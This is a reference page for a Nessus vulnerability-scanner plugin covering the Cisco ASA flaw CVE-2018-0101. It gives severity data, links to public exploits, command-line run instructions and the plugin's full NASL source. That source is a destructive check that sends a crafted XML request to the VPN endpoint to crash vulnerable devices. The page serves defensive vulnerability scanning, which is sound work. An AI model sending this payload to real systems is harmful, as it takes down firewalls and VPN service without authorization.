Cisco ASA Remote Code Execution and Denial of Service Vulnerability (cisco-sa-20180129-asa1) (destructive check) - Nessus

Critical   Plugin ID: 107004

This page contains detailed information about the Cisco ASA Remote Code Execution and Denial of Service Vulnerability (cisco-sa-20180129-asa1) (destructive check) Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 107004
Name: Cisco ASA Remote Code Execution and Denial of Service Vulnerability (cisco-sa-20180129-asa1) (destructive check)
Filename: cisco_asa_cve-2018-0101_dos.nasl
Vulnerability Published: 2018-01-29
This Plugin Published: 2018-02-26
Last Modification Time: 2020-09-28
Plugin Version: 1.6
Plugin Type: remote
Plugin Family: CISCO
Dependencies: cisco_asa_ssl_vpn_detect.nasl
Required KB Items [?]: Services/cisco-ssl-vpn-svr

Vulnerability Information


Severity: Critical
Vulnerability Published: 2018-01-29
Patch Published: 2018-01-29
CVE [?]: CVE-2018-0101
CPE [?]: cpe:/a:cisco:adaptive_security_appliance_software

Synopsis

The remote device is missing a vendor-supplied security patch.

Description

The Cisco Adaptive Security Appliance (ASA) software running on the remote device is affected by a remote code execution vulnerability due to an issue with allocating and freeing memory when processing a malicious XML payload. An unauthenticated, remote attacker can exploit the issue to cause a reload of the affected system or to remotely execute code.

Solution

Upgrade to the relevant fixed version referenced in Cisco security advisory cisco-sa-20180129-asa1.

Public Exploits


Target Network Port(s): 443
Target Asset(s): Services/www
Exploit Available: True (Exploit-DB, GitHub)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the Cisco ASA Remote Code Execution and Denial of Service Vulnerability (cisco-sa-20180129-asa1) (destructive check) vulnerability:

  1. Exploit-DB: exploits/hardware/dos/43986.py
    [EDB-43986: Cisco ASA - Crash (PoC)]
  2. GitHub: https://github.com/1337g/CVE-2018-0101-DOS-POC
    [CVE-2018-0101]
  3. GitHub: https://github.com/jwxa2015/honeypotcollection
    [CVE-2018-0101]
  4. GitHub: https://github.com/papa-anniekey/CustomSignatures
    [CVE-2018-0101]
  5. GitHub: https://github.com/paralax/awesome-honeypots
    [CVE-2018-0101]
  6. GitHub: https://pastebin.com/YrBcG2Ln
    [CVE-2018-0101]
  7. GitHub: https://github.com/Cymmetria/ciscoasa_honeypot
    [CVE-2018-0101: A low interaction honeypot for the Cisco ASA component capable of detecting ...]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information


CVSS Score Source [?]: CVE-2018-0101
CVSS V2 Vector: AV:N/AC:L/Au:N/C:C/I:C/A:C/E:POC/RL:OF/RC:C
CVSS Base Score:10.0 (High)
Impact Subscore:10.0
Exploitability Subscore:10.0
CVSS Temporal Score:7.8 (High)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:7.8 (High)
CVSS V3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H/E:P/RL:O/RC:C
CVSS Base Score:10.0 (Critical)
Impact Subscore:6.0
Exploitability Subscore:3.9
CVSS Temporal Score:9.0 (Critical)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:9.0 (Critical)
STIG Severity [?]: I
STIG Risk Rating: High

Go back to menu.

Plugin Source


This is the cisco_asa_cve-2018-0101_dos.nasl nessus plugin source code. This script is Copyright (C) 2018-2020 and is owned by Tenable, Inc. or an Affiliate thereof.

#
# (C) Tenable Network Security, Inc.
#
#
include("compat.inc");

if (description)
{
  script_id(107004);
  script_version("1.6");
  script_set_attribute(attribute:"plugin_modification_date", value:"2020/09/28");

  script_cve_id("CVE-2018-0101");
  script_xref(name:"CISCO-BUG-ID", value:"CSCvg35618");
  script_xref(name:"CISCO-BUG-ID", value:"CSCvh79732");
  script_xref(name:"CISCO-BUG-ID", value:"CSCvh81737");
  script_xref(name:"CISCO-BUG-ID", value:"CSCvh81870");
  script_xref(name:"CISCO-SA", value:"cisco-sa-20180129-asa1");
  script_xref(name:"IAVA", value:"0001-A-0011-S");

  script_name(english:"Cisco ASA Remote Code Execution and Denial of Service Vulnerability (cisco-sa-20180129-asa1) (destructive check)");
  script_summary(english:"Attempts to crash a Cisco ASA device.");

  script_set_attribute(attribute:"synopsis", value:
"The remote device is missing a vendor-supplied security patch.");
  script_set_attribute(attribute:"description", value:
"The Cisco Adaptive Security Appliance (ASA) software running on the
remote device is affected by a remote code execution vulnerability
due to an issue with allocating and freeing memory when processing a
malicious XML payload. An unauthenticated, remote attacker can
exploit the issue to cause a reload of the affected system or to
remotely execute code.");
  # https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180129-asa1
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?118d2746");
  script_set_attribute(attribute:"solution", value:
"Upgrade to the relevant fixed version referenced in Cisco security
advisory cisco-sa-20180129-asa1.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:P/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2018-0101");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2018/01/29");
  script_set_attribute(attribute:"patch_publication_date", value:"2018/01/29");
  script_set_attribute(attribute:"plugin_publication_date", value:"2018/02/26");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:cisco:adaptive_security_appliance_software");
  script_set_attribute(attribute:"stig_severity", value:"I");
  script_end_attributes();

  script_category(ACT_KILL_HOST);
  script_family(english:"CISCO");

  script_copyright(english:"This script is Copyright (C) 2018-2020 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("cisco_asa_ssl_vpn_detect.nasl");
  script_require_ports("Services/www", 443);
  script_require_keys("Services/cisco-ssl-vpn-svr");
  exit(0);
}

include("audit.inc");
include('global_settings.inc');
include('misc_func.inc');
include('http.inc');

port    = get_service(svc:"cisco-ssl-vpn-svr", exit_on_fail:TRUE);

data= '<?xml version="1.0" encoding="UTF-8"?>
<config-auth client="a" type="a" aggregate-auth-version="a">
    <host-scan-reply>A</host-scan-reply>
</config-auth>
';

headers['User-Agent'] = 'Open AnyConnect VPN Agent v7.08-265-gae481214-dirty';
headers['Content-Type'] = 'application/x-www-form-urlencoded';
headers['X-Aggregate-Auth'] = '1';
headers['X-Transcend-Version'] = '1';
headers['Accept-Encoding'] = 'identity';
headers['Accept'] = '*/*';
headers['X-AnyConnect-Platform'] = 'linux-64';
headers['X-Support-HTTP-Auth'] = 'false';
headers['X-Pad'] = '0000000000000000000000000000000000000000';

url = '/CSCOSSLC/config-auth';

for(i=0; i < 2; i++)
{
  http_send_recv3(
    method        : "POST",
    port          : port, 
    item          : url,
    add_headers   : headers,
    data          : data,
    exit_on_fail  :FALSE);

    sleep(1);
}

if(service_is_dead(port: port))
{
  extra = 
    'Nessus was able to detect the issue by sending the following request ' +
    'two times :\n\n' + http_last_sent_request();

  security_report_v4(
    port       : port,
    severity   : SECURITY_HOLE,
    extra      : extra
  );
  
}
# If we cannot crash the device, mark it inconclusive:
#
# - Seen: recoverable error on console; heap is messed up but the
#   device is not crashed. Sending more requests will eventually
#   crash the device.
# - The webvpn vector is fixed in a version (ie 9.2(4.25)) that does
#   not fix the IKEv2 vector (which is fixed in a later version).
#   This plugin specifically uses the webvpn vector, so it does not
#   crash 9.2.(4.25), which is still considered vulnerable because
#   the IKEv2 vector still exists until 9.2.(4.27).
#
else
{
  exit(0, 'Nessus cannot determine whether or not the remote ASA device is vulnerable.');
}

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/cisco_asa_cve-2018-0101_dos.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\cisco_asa_cve-2018-0101_dos.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/cisco_asa_cve-2018-0101_dos.nasl

Go back to menu.

How to Run


Here is how to run the Cisco ASA Remote Code Execution and Denial of Service Vulnerability (cisco-sa-20180129-asa1) (destructive check) as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select CISCO plugin family.
  6. On the right side table select Cisco ASA Remote Code Execution and Denial of Service Vulnerability (cisco-sa-20180129-asa1) (destructive check) plugin ID 107004.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl cisco_asa_cve-2018-0101_dos.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a cisco_asa_cve-2018-0101_dos.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - cisco_asa_cve-2018-0101_dos.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state cisco_asa_cve-2018-0101_dos.nasl -t <IP/HOST>

Go back to menu.

References


IAVA | Information Assurance Vulnerability Alert:
  • 0001-A-0011-S
Cisco Bug ID: Cisco Security Advisory: See also: Similar and related Nessus plugins:
  • 106630 - Cisco Firepower Threat Defense (FTD) Adaptive Security Appliance Remote Code Execution and Denial of Service Vulnerability (cisco-sa-20180129-asa1)
  • 106484 - Cisco ASA Remote Code Execution and Denial of Service Vulnerability (cisco-sa-20180129-asa1)
  • 103783 - Cisco IOS Cluster Management Protocol Telnet Option Handling RCE (cisco-sa-20170317-cmp) (destructive check)
  • 69953 - Management Center for Cisco Security Agents Remote Code Execution (cisco-sa-20110216-csa)
  • 79271 - Cisco Email Security Appliance Telnet Remote Code Execution (cisco-sa-20120126-ironport)
  • 79272 - Cisco Content Security Management Appliance Telnet Remote Code Execution (cisco-sa-20120126-ironport)
  • 79273 - Cisco Web Security Appliance Telnet Remote Code Execution (cisco-sa-20120126-ironport)
  • 108722 - Cisco IOS Software Smart Install Remote Code Execution Vulnerability
  • 108723 - Cisco IOS XE Software Smart Install Remote Code Execution Vulnerability
  • 126640 - Cisco Data Center Network Manager Arbitrary File Upload and Remote Code Execution Vulnerability
  • 133603 - Cisco IOS XR Software Cisco Discovery Protocol Remote Code Execution Vulnerability (cisco-sa-20200205-iosxr-cdp-rce)
  • 133604 - Cisco NX-OS Software Cisco Discovery Protocol Remote Code Execution Vulnerability (cisco-sa-20200205-nxos-cdp-rce)
  • 160400 - Cisco Identity Services Log4j Engine Remote Code Execution (cisco-sa-apache-log4j-qRuKNEbd)
  • 137901 - Cisco IOS Software One Platform Kit Remote Code Execution Vulnerability (cisco-sa-ios-nxos-onepk-rce-6Hhyt4dC)
  • 137902 - IOS XE Software One Platform Kit Remote Code Execution Vulnerability (cisco-sa-ios-nxos-onepk-rce-6Hhyt4dC)
  • 137903 - Cisco NX-OS Software One Platform Kit Remote Code Execution Vulnerability (cisco-sa-ios-nxos-onepk-rce-6Hhyt4dC)
  • 79584 - Cisco TelePresence Conductor Bash Remote Code Execution (Shellshock)
  • 78596 - Cisco TelePresence Video Communication Server Bash Remote Code Execution (Shellshock)

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file cisco_asa_cve-2018-0101_dos.nasl version 1.6. For more plugins, visit the Nessus Plugin Library.

Go back to menu.